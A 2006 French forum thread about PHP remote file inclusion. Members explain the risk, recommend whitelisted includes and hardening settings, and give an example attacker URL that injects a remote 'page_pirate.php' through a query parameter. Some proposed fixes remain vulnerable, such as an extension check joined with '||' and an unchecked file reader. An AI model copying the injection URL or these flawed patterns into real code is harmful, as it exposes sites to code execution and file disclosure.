Bienvenue invité ( Connexion | Inscription )
![]() ![]() |
24 Oct 2006, 22:29
Message
#1
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Ce message a été modifié par Hyp - 12 May 2010, 11:51. |
|
|
|
24 Oct 2006, 22:41
Message
#2
|
|
![]() Oui ? ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 3 889 Inscrit : 24 Jun 2003 Lieu : BZH Membre no 8 224 |
Vieux probleme largement expliqué un peu partout :
http://www.frsirt.com/alertes/20041226.PhpIncludeWorm.php Pour faire simple, ne pas faire des includes avec une variable dedans genre: include($page); mais mettre des valeurs fixes. -------------------- "Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan) |
|
|
|
24 Oct 2006, 22:48
Message
#3
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Merci pour cette explication concise No6
J'irai lire en détail ton lien demain matin, il est l'heure d'aller dormir.. Bonne nuit. |
|
|
|
24 Oct 2006, 22:59
Message
#4
|
|
![]() Oui ? ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 3 889 Inscrit : 24 Jun 2003 Lieu : BZH Membre no 8 224 |
Je me sens tout guilleret, j'ai l'impression d'avoir repoussé un gros nuage noir du ciel de tes rêves
Ce message a été modifié par No6 - 24 Oct 2006, 23:00. -------------------- "Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan) |
|
|
|
24 Oct 2006, 23:03
Message
#5
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Ce message a été modifié par Hyp - 12 May 2010, 11:52. |
|
|
|
24 Oct 2006, 23:11
Message
#6
|
|
![]() Oui ? ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 3 889 Inscrit : 24 Jun 2003 Lieu : BZH Membre no 8 224 |
Nous sommes tous obligés les uns envers les autres (formule boudhiste)
-------------------- "Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan) |
|
|
|
25 Oct 2006, 07:45
Message
#7
|
|
![]() Macbidouilleur de vermeil ! ![]() ![]() ![]() ![]() Groupe : Membres Messages : 983 Inscrit : 19 May 2005 Lieu : Chateauneuf du pape Membre no 39 495 |
coucou;
d'une maniere générale ( même si je suis loin , tres loin on protege ses pages avec un tableau associatif puis on vérifie que l'include correspond bien a ce que lon veut de ce genre la.. HTML <html>
<head> <title>Accueil</title> <meta name="keywords" content="xxxxxx,xxxxx,ixxxxx,"> <meta name="description" content="xxxxxxxxxxxxxxxxxxxxx"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <link href="style.css" rel="stylesheet" type="text/css"> </head> SQL <?php $pageOK = array( 'objectifs' => 'objectifs.inc', 'info' => 'info_2.inc', 'adherent' => 'adherent.inc', 'tarifs' => 'tarifs.php', 'texteaccueil'=>'texteaccueil.php' ); ?> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="720" border="0" cellpadding="0" class="arriereplan"> <tr height="80"> <td > </td> </tr> <tr> <td valign="top" width="90"><?php include("menu.inc"); ?></td> <td valign="top" align="center"> SQL <?php if ( (isset($HTTP_GET_VARS['inc'])) && (isset($pageOK[$HTTP_GET_VARS['inc']])) ) { include($pageOK[$HTTP_GET_VARS['inc']]);} else { include ("texteaccueil.php");}?> </td> </tr> </table> </body> </html> -------------------- Musique techno avec MAO (Logic Pro)
des que quelqu'un a du pouvoir il croit détenir la vérité... Des que quelqu'un a un clavier il A la la vérité.(Forcément) |
|
|
|
25 Oct 2006, 09:29
Message
#8
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
En général on active pas "register_globals"... Ca évite que des petits malins envoient n'importe quelle variable aux scripts.
-------------------- I think therefore I Mac
|
|
|
|
25 Oct 2006, 10:30
Message
#9
|
|
![]() Macbidouilleur de vermeil ! ![]() ![]() ![]() ![]() Groupe : Membres Messages : 983 Inscrit : 19 May 2005 Lieu : Chateauneuf du pape Membre no 39 495 |
autre danger moins connu..
faire attention au extensions données par defaut dans le dossier de configuration Addtype application/x-httpd-php .phtml .php3 .php4 .php si on fait par exemple monfichierouilyamescodes.inc puis qq de mal intentionné tape ce nom dans le navigateur.; il visualise directement le contenu parceque apache ne traite pas cela comme du php mais comme du texte.; faire ceci.. Addtype application/x-httpd-php .phtml .php3 .php4 .php .inc .bak bak est souvent une copie involontaire.; php peut etre configuré en mode Safe cacher sa signature php; ( plus dur pour connaitre la version) et comme le dit schlum metre register_global sur off supprimer l'affichage des erreurs display_errors=off mais cest vrai que cest assez complexe.. le malintentioné ( que je differencie du hacker) connais aussi les habitudes des programmeurs et certains savent tres bien afficher les information que l'on a en debogant.. tire du livre "site marchand en PHP/MySQL" de jean marc herellier le livre Ce message a été modifié par hubeert - 25 Oct 2006, 10:39. -------------------- Musique techno avec MAO (Logic Pro)
des que quelqu'un a du pouvoir il croit détenir la vérité... Des que quelqu'un a un clavier il A la la vérité.(Forcément) |
|
|
|
8 Nov 2006, 01:55
Message
#10
|
|
|
Macbidouilleur de bronze ! ![]() ![]() Groupe : Membres Messages : 486 Inscrit : 26 Jul 2004 Membre no 21 405 |
pour monfichierouilyamescodes.inc, autant faire un fichier monfichierouilyamescodes.inc.php, comme ça tu vois que c'est un include, mais aussi que c'est du php
|
|
|
|
8 Nov 2006, 02:07
Message
#11
|
|
![]() Oui ? ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 3 889 Inscrit : 24 Jun 2003 Lieu : BZH Membre no 8 224 |
CITATION(canari @ 8 Nov 2006, 01:55) [snapback]1969445[/snapback] pour monfichierouilyamescodes.inc, autant faire un fichier monfichierouilyamescodes.inc.php, comme ça tu vois que c'est un include, mais aussi que c'est du php C'est une façon de voir, moi je fais un dossier "includes" ou j'y mets les includes en php... -------------------- "Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan) |
|
|
|
8 Nov 2006, 02:26
Message
#12
|
|
|
Macbidouilleur de bronze ! ![]() ![]() Groupe : Membres Messages : 486 Inscrit : 26 Jul 2004 Membre no 21 405 |
CITATION(No6 @ 8 Nov 2006, 02:07) [snapback]1969451[/snapback] CITATION(canari @ 8 Nov 2006, 01:55) [snapback]1969445[/snapback] pour monfichierouilyamescodes.inc, autant faire un fichier monfichierouilyamescodes.inc.php, comme ça tu vois que c'est un include, mais aussi que c'est du php C'est une façon de voir, moi je fais un dossier "includes" ou j'y mets les includes en php... j'utilise aussi un répertoire "includes" mais les fichiers y sont de la forme *.inc.php c'est juste avoir des fichiers *.inc et modifier le php.ini qui me surprend. pour moi, il vaut mieux avoir l'extension .php (ou .inc.php) plutôt que .inc, mais chacun fait comme il veut Ce message a été modifié par canari - 8 Nov 2006, 02:28. |
|
|
|
8 Nov 2006, 17:50
Message
#13
|
|
![]() Macbidouilleur de vermeil ! ![]() ![]() ![]() ![]() Groupe : Membres Messages : 866 Inscrit : 13 Jun 2003 Membre no 8 046 |
le .inc pour les fichiers à inclure, c'est la vieille école. Celà n'a plus lieu d'être même pour les nostalgiques à cause de l'interprétation (ou plutot la non interprétation) par Apache / PHP.
-------------------- |
|
|
|
16 Nov 2006, 13:33
Message
#14
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Ce message a été modifié par Hyp - 12 May 2010, 11:52. |
|
|
|
16 Nov 2006, 14:13
Message
#15
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
Euh... "include" c'est pour inclure un fichier hein...
Si tu veux afficher juste une variable, fais "<?php echo $texte; ?>" ou plus simplement "<?=$texte?>" -------------------- I think therefore I Mac
|
|
|
|
16 Nov 2006, 14:16
Message
#16
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
CITATION(schlum @ 16 Nov 2006, 14:13) [snapback]1982744[/snapback] Euh... "include" c'est pour inclure un fichier hein... CITATION(Hyp @ 16 Nov 2006, 13:33) [snapback]1982690[/snapback] -> (Vous aurez compris que le but de l'opération est de permettre à l'utilisateur d'inclure son fichier texte dans l'interface que j'aurai mise en place |
|
|
|
16 Nov 2006, 14:36
Message
#17
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
Ben justement, faut pas faire de "include($texte);"...
Surtout chez Free. -------------------- I think therefore I Mac
|
|
|
|
16 Nov 2006, 16:45
Message
#18
|
|
![]() Oui ? ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 3 889 Inscrit : 24 Jun 2003 Lieu : BZH Membre no 8 224 |
CITATION(Hyp @ 16 Nov 2006, 13:33) [snapback]1982690[/snapback] Imaginons que je veuille faire la chose suivante: h ttp://www.monsite.com/index.php?texte=vot...e.com/texte.txt CODE <html> <head><title>Ma page index.php</title></head> <body> <h1>Voici votre texte:</h1> <?php include $texte;?> <!-- Pas sûr que la syntaxe soit correcte --> </body> </html> Quelle méthode dois-je adopter ? (Vous aurez compris que le but de l'opération est de permettre à l'utilisateur d'inclure son fichier texte dans l'interface que j'aurai mise en place Comme c'est expliqué plus haut, et répété par schlum : faut pas faire de "include($texte);" Car un pirate va écrire comme URL : h ttp://www.monsite.com/index.php?texte=http://page_pirate.php avec dedans plein de code php pour te pourrir la vie, vider ton site, mettre ses stocks vidéo de cul piratés dessus pour les vendre -------------------- "Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan) |
|
|
|
16 Nov 2006, 19:20
Message
#19
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Ce message a été modifié par Hyp - 12 May 2010, 11:52. |
|
|
|
16 Nov 2006, 20:11
Message
#20
|
|
![]() Macbidouilleur d'argent ! ![]() ![]() ![]() Groupe : Membres Messages : 564 Inscrit : 2 Apr 2005 Lieu : Hell Membre no 36 398 |
Oui ou plus simplement, il faut vérifier l'extension du fichier inclus avec :
CODE $file = $_GET['file'];
$ext = strtolower(substr(strrchr($file, '.'), 1)); if ($ext == "txt" || file_exists($file)) include $file; else echo 'Oo, you wanna hack me, I'll eat potatoes.'; Ce message a été modifié par Master Buck - 16 Nov 2006, 20:12. -------------------- |
|
|
|
16 Nov 2006, 20:30
Message
#21
|
|
![]() Macbidouilleur d'Or ! ![]() ![]() ![]() ![]() ![]() Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Ce message a été modifié par Hyp - 12 May 2010, 11:52. |
|
|
|
16 Nov 2006, 21:53
Message
#22
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
CITATION(Master Buck @ 16 Nov 2006, 20:11) [snapback]1983222[/snapback] Oui ou plus simplement, il faut vérifier l'extension du fichier inclus avec : CODE $file = $_GET['file']; $ext = strtolower(substr(strrchr($file, '.'), 1)); if ($ext == "txt" || file_exists($file)) include $file; else echo 'Oo, you wanna hack me, I'll eat potatoes.'; Et ? Ca permet quand même de mettre du PHP dans le .txt non ? De toute façon, pour include, le fichier doit être sur le serveur... Et dans ce cas d'un fichier texte, la solution est la lecture de fichier : http://www.commentcamarche.net/php/phpfich.php3 -------------------- I think therefore I Mac
|
|
|
|
17 Nov 2006, 18:36
Message
#23
|
|
![]() Macbidouilleur d'argent ! ![]() ![]() ![]() Groupe : Membres Messages : 564 Inscrit : 2 Apr 2005 Lieu : Hell Membre no 36 398 |
Euh, en toute logique, si le PHP est dans un fichier texte ou même HTML, il est pas executé, mais juste affiché, il faut faire htmlentity_decode() pour pouvoir l'executer (ou html_entity_decode(), je sais plus).
-------------------- |
|
|
|
17 Nov 2006, 23:09
Message
#24
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
CITATION(Master Buck @ 17 Nov 2006, 18:36) [snapback]1984547[/snapback] Euh, en toute logique, si le PHP est dans un fichier texte ou même HTML, il est pas executé, mais juste affiché, il faut faire htmlentity_decode() pour pouvoir l'executer (ou html_entity_decode(), je sais plus). Test : test1.php : CODE <?php include "test2.txt"; ?> test2.txt : CODE <?php phpinfo(); ?> -> Affiche bien les infos, donc ta théorie est fumeuse -------------------- I think therefore I Mac
|
|
|
|
18 Nov 2006, 01:28
Message
#25
|
|
|
Macbidouilleur de bronze ! ![]() ![]() Groupe : Membres Messages : 344 Inscrit : 29 Jul 2005 Lieu : bordeaux Membre no 43 206 |
CITATION(Master Buck @ 17 Nov 2006, 18:36) [snapback]1984547[/snapback] Euh, en toute logique, si le PHP est dans un fichier texte ou même HTML, il est pas executé, mais juste affiché, il faut faire htmlentity_decode() pour pouvoir l'executer (ou html_entity_decode(), je sais plus). A partir du moment que ton fichier est inclue dans une page qui seras interpreté par php, meme si celui-cui s'apelle text.toto, si il contient du php, il seras interpreté. Par contre, avec ton htmlentities , tu est presque dans le vrai . Il faudrais ouvrir le fichier, mettre son contenue dans une variable et faire <? echo htmlentities($ma_var_text); ?> et la plus de probleme . -------------------- MacBook Core Duo 2Ghz 512mo DD 60Giga 13"3 SuperDrive DVD RW CD RW powered by Debian
|
|
|
|
18 Nov 2006, 11:20
Message
#26
|
|
![]() Macbidouilleur d'argent ! ![]() ![]() ![]() Groupe : Membres Messages : 564 Inscrit : 2 Apr 2005 Lieu : Hell Membre no 36 398 |
Ha ouaip, ok, je vais faire gaffe maintenant, je savais pas...
Donc oui, ouvrir le fichier, faire un htmlentities, c'est comme j'ai fait pour mon éditeur de fichier, je cherche le code... CODE $link = $_POST['file'];
if (file_exists($link)) $open = fopen($link,'r+'); echo htmlentities(file_get_contents($link)); Ce message a été modifié par Master Buck - 18 Nov 2006, 11:23. -------------------- |
|
|
|
5 Dec 2006, 11:58
Message
#27
|
|
|
Gumby Berrichon ![]() ![]() ![]() ![]() ![]() Groupe : Modérateurs Messages : 15 372 Inscrit : 5 Dec 2002 Membre no 5 011 |
CITATION(No6 @ 24 Oct 2006, 22:41) [snapback]1947339[/snapback] Pour faire simple, ne pas faire des includes avec une variable dedans genre: include($page); mais mettre des valeurs fixes. Pour être sûr de bien comprendre C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ? CODE include 'http://www.xxx.com/xxx/fichier.php';
|
|
|
|
5 Dec 2006, 12:03
Message
#28
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
CITATION(Grognon @ 5 Dec 2006, 11:58) [snapback]2007750[/snapback] CITATION(No6 @ 24 Oct 2006, 22:41) [snapback]1947339[/snapback] Pour faire simple, ne pas faire des includes avec une variable dedans genre: include($page); mais mettre des valeurs fixes. Pour être sûr de bien comprendre C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ? CODE include 'http://www.xxx.com/xxx/fichier.php'; Oui... Si t'as confiance en le serveur externe Enfin à priori, le serveur externe va déjà évaluer le php et sortir du HTML de toute façon... Après, si quelqu'un pirate le serveur externe et met un script php avec 'echo("<?php")' ... 'echo("?>")', je ne sais pas ce que ça donne -------------------- I think therefore I Mac
|
|
|
|
5 Dec 2006, 12:14
Message
#29
|
|
|
Gumby Berrichon ![]() ![]() ![]() ![]() ![]() Groupe : Modérateurs Messages : 15 372 Inscrit : 5 Dec 2002 Membre no 5 011 |
CITATION(Grognon @ 5 Dec 2006, 11:58) [snapback]2007750[/snapback] C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ? Je sais, un chemin relatif c'est mieux mais j'ai pas encore tout compris le système du include_path donc, de guerre lasse |
|
|
|
5 Dec 2006, 12:19
Message
#30
|
|
![]() Terminaltor Moderating Machine ![]() ![]() ![]() ![]() ![]() Groupe : Admin Messages : 24 456 Inscrit : 25 Oct 2002 Lieu : Jeumont (59) Membre no 4 319 |
CITATION(Grognon @ 5 Dec 2006, 12:14) [snapback]2007780[/snapback] CITATION(Grognon @ 5 Dec 2006, 11:58) [snapback]2007750[/snapback] C'est bon un truc comme ça sachant que www.xxx.com n'est pas un serveur externe ? Je sais, un chemin relatif c'est mieux mais j'ai pas encore tout compris le système du include_path donc, de guerre lasse Ah d'accord, j'ai zappé la négation Ben c'est comme ça qu'il faut faire, à part que c'est quand même mieux de mettre le chemin relatif Dans un système UNIX, chaque répertoire contient deux répertoires "virtuels" (des liens en quelque sorte) : . qui pointe vers lui même .. qui pointe vers son répertoire père Donc en utilisant .., tu peux remonter aussi loin que voulu ! Exemple : include("../../rep2/monFichier.php"); -------------------- I think therefore I Mac
|
|
|
|
![]() ![]() |
| Nous sommes le : 5th April 2026 - 21:59 |